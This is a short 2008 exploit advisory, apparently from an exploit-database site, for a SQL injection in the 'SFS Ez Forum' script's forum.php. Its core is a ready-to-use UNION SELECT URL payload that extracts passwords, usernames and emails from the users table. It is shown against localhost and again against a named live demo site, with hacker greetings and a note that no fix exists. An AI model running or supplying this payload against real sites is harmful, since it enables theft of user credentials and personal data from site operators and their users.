SFS Ez Forum (forum.php id) SQL Injection Vulnerability

2008-10-26 03:01:03

==================================================================================
SFS Forum (forum.php id) Remote SQL Injection Vulnerability
==================================================================================
__ __ __
/ / / /_ _______/ /__ __ __
/ /_/ / / / / ___/ / _ \/ / / /
/ __ / /_/ / / / / __/ /_/ /
/_/ /_/\__,_/_/ /_/\___/\__, /
/____/
==================================================================================
----------------------------------------------------------------------------------
Website script: http://www.scripts-for-sites.info/index.php
----------------------------------------------------------------------------------
Exploit: http://localHost/forum/forum.php?forum=-9999+union+all+select+null,concat_ws(0x3a,password,username,%20email),null,null+from+users/*
----------------------------------------------------------------------------------
LiveDemo:
http://www.turnkeyzone.com/demos/forum/forum.php?forum=-9999+union+all+select+null,concat_ws(0x3a,password,username,%20email),null,null+from+users/*
----------------------------------------------------------------------------------

==================================================================================
Greetz : Boom3rang
Special Thx : Darckc0de
==================================================================================

#

Fixes

No fixes

In order to submit a new fix you need to be registered.